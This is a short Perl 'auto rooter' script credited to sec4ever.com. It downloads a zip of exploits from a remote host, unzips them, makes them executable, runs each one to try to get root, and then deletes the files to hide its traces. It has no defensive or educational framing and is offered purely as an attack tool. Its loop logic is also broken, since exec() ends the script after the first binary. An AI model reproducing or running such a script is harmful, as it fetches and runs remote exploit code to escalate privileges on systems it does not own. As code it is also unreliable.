auto rooter

#!/usr/bin/perl
#(c) sec4ever.com
use LWP::Simple qw(getstore);
$url = "http://dwn/exps.zip";
getstore($url,"exps.zip") unless -e "exps.zip";
`unzip -o exps.zip`;
chdir("exps");
chmod 0777, glob('*');
print "+ testing: \n";
foreach (glob('*'))
{
print "\t".$_." > ";
exec($_);
if($< == 0){`rm -rf exps exps.zip`;die "#G0t R00t\n";}else{print "faild\n";}
}
print "cleaning";
`rm -rf exps exps.zip`;